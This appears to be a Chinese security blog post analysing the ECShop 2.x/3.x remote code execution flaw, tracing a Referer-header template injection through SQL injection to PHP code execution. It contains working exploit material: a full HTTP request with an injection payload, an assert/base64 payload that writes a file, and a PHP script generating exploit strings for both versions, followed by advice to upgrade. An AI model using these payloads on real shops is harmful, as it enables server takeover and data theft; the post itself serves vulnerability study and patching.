Web应用安全漏洞之ECShop2.x/3.x代码执行分析

  • A+
所属分类:网络安全
Web应用安全漏洞之ECShop2.x/3.x代码执行分析

0x01 漏洞详情

ECShop是一款B2C独立网店系统 ,适合企业及个人快速构建个性化网上商店。 系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。

其2017年及以前的版本中, user.php的display函数中,模版变量可控,导致注入,配合注入可达到远程代码执行

0x02 影响范围

ECShop 2.x ECShop 3.x 

0x03 漏洞分析

ringk3y老哥把这个漏洞分析的很清晰,整个利用以及绕过的过程非常精彩,感谢分享,也再次感谢p神提供的环境.

SQL注入:

在user.php中

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

$back_act变量来源于HTTP_REFERER, assign函数用于在模版变量里赋值。

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

继续跟踪 display函数

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。

接着看 insert_mod函数

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

=1pc这里进行了动态调用,=1pc$val传入进来用|分割,参数传入进来时需要被序列化。

=1pc再看include/lib_insert.php中的insert_ads函数

=1pc

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

这里直接就能注入了

GET /user.php?act=login HTTP/1.1 Accept: */* Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: IP Pragma: no-cache Cookie: PHPSESSID=7dd64ac53c93500b5dff70fdc0163f2e; ECS_ID=057fee67dd00d21af00d81537cb1d09e0946bdec; ECS[visit_times]=2 Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;} Connection: close  
Web应用安全漏洞之ECShop2.x/3.x代码执行分析

代码执行:

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

继续看fetch函数

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

追踪_eval函数

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

$position_style变量来源于数据库中的查询结构

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

然后我们继续构造SQL注入,因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

payload:

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- - 

函数中有一个判断:

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

=1pc我们 id传入’/*

=1pcnum传入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -就能绕过了

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

var_dump()一下

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

再看fetch函数,传入的参数被fetch_str函数处理了

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

追踪fetch_str函数,这里的字符串处理流程比较复杂

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

return preg_replace("/{([^}{n]*)}/e", "$this->select('\1');", $source); 

这一行意思是比如$source是xxxx{$asd}xxx,那么经过这行代码处理后就是返回this->select(‘$asd’)的结果, 看看select函数:

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

第一个字符为$时进入$this->get_val函数

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

我们$val没有.$又进入make_var函数

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

最后这里引入单引号从变量中逃逸, 我们要闭合_var所以最终payload是:

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx 

在这里P神用php写了一个Poc:这里2.x跟3.x的hash不一样,所以使用的时候需要更改一下:

<?php $shell = bin2hex("{$asd'];phpinfot();//}xxx"); $id = "-1' UNION/*"; $arr = [  "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),  "id" => $id ]; $s = serialize($arr); $hash3 = '45ea207d7a2b68c49582d2d22adf953a'; $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca'; echo "POC for ECShop 2.x: n"; echo "{$hash2}ads|{$s}{$hash2}"; echo "nnPOC for ECShop 3.x: n"; echo "{$hash3}ads|{$s}{$hash3}";  

把poc放到php环境里运行一下:

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

2.x执行结果如下 :

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

3.x 执行结果如下:

Web应用安全漏洞之ECShop2.x/3.x代码执行分析

0x04 修复建议

最新的3.6.0最新版已经修复完毕,建议升级最新版本!

Reference:

https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/ 
  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: